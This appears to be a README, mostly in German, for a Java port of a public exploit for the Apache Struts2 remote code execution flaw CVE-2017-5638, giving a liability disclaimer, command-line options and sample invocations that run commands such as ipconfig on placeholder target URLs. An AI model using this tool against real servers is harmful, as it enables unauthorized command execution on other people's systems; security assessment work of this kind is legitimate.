
Dies ist eine Art Java-Portierung des Python-Exploits unter: https://www.exploit-db.com/exploits/41570/.
Dies ist eine Art Java-Portierung des Python-Exploits unter: https://www.exploit-db.com/exploits/41570/.
Diese Software wurde ohne externe Abhängigkeiten geschrieben.
Dieses Tool ist für Sicherheitsingenieure und AppSec-Leute für Sicherheitsbewertungen gedacht. Bitte verwenden Sie dieses Tool verantwortungsbewusst. Ich übernehme keine Verantwortung für die Art und Weise, wie jemand diese Anwendung nutzt. Ich bin NICHT verantwortlich für Schäden, die durch die Nutzung dieses Tools verursacht werden, oder für Straftaten, die damit begangen werden.
Usage:
java -jar struts2_cve-2017-5638.jar [options]
Description:
Exploiting Apache Struts2 Remote Code Execution (CVE-2017-5638).
Options:
-h, --help
Prints this help and exits.
-u, --url [target_URL]
The target URL where the exploit will be performed.
-cmd, --command [command_to_execute]
The command that will be executed on the remote machine.
--cookies [cookies]
Optional. Cookies passed into the request, i.e. authentication cookies.
-v, --verbose
Optional. Increase verbosity.
java -jar struts2_cve-2017-5638.jar --url "https://vuln1.foo.com/asd" --command ipconfig
java -jar struts2_cve-2017-5638.jar --url "https://vuln2.foo.com/asd" --command ipconfig --cookies "JSESSIONID=qwerty0123456789"
java -jar struts2_cve-2017-5638.jar --url "https://vuln3.foo.com/asd" --command dir --cookies "JSESSIONID=qwerty0123456789;foo=bar"
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe Datei LICENSE.txt für Details.